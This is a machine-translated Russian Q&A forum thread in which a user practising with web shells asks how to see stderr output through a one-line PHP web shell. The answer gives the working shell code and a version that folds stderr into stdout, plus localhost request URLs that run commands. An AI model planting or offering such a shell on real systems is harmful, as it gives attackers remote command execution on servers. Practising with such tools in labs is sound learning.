linux — просмотр вывода stderr в простой PHP веб-оболочке

Я не уверен, что это вопрос PHP, а не вопрос Linux, но здесь идет речь.

Я практикуюсь с веб-оболочками, и у меня есть очень простая, похожая на это;

<?php system($_GET['cmd']); ?>

В моем терминале я могу просмотреть файл справки для netcat, вот так;

nc -h

Я считаю, что это выводит на stderr. В моем терминале я могу перенаправить вывод в файл следующим образом;

nc &> blah

Тогда я могу кот бла, и посмотреть результаты. Однако, если я попробую ту же самую хитрость через веб-оболочку php, файл не будет создан. То есть выполнение этих команд ничего не делает;

http://localhost/shell.php?cmd=nc -h &> blah
#encoded
http://localhost/shell.php?cmd=nc%20-h%20%26%3E%20blah

Почему он не работает в моей веб-оболочке и какой трюк мне нужно внести в мой синтаксис, чтобы он работал? Я могу выдавать команды (например, Ls или же ls — версия), и увидеть стандартный вывод просто отлично.

В конечном счете, я бы хотел полностью избежать записи в файл и просто увидеть ВСЕ выходные данные команды в моей веб-оболочке, но я решил, что это будет более простым первым шагом. Предложения на потом приветствуются!

0

Решение

Я понял;

Проблема в том, что амперсанд отбрасывает команду веб-оболочки, поэтому ее нужно экранировать. Пропустив запись в файл, мы можем перенаправить stderr в stdout, чтобы увидеть все выходные данные (stdout и stderr) в браузере следующим образом;

?cmd=nc -h 2>%261

Кроме того, вместо добавления 2>%261 для каждой команды, веб-оболочка может быть изменена, чтобы сделать подъем для нас;

<?php system($_GET['cmd'] . ' 2>&1'); ?>

Затем мы можем просто выполнить наши команды direclty и увидеть выходные данные как stderr, так и stdout в браузере.

?cmd=nc -h

Кажется, он не соответствует исходному формату вывода, но это уже другой вопрос …

0

Другие решения

Других решений пока нет …

По вопросам рекламы [email protected]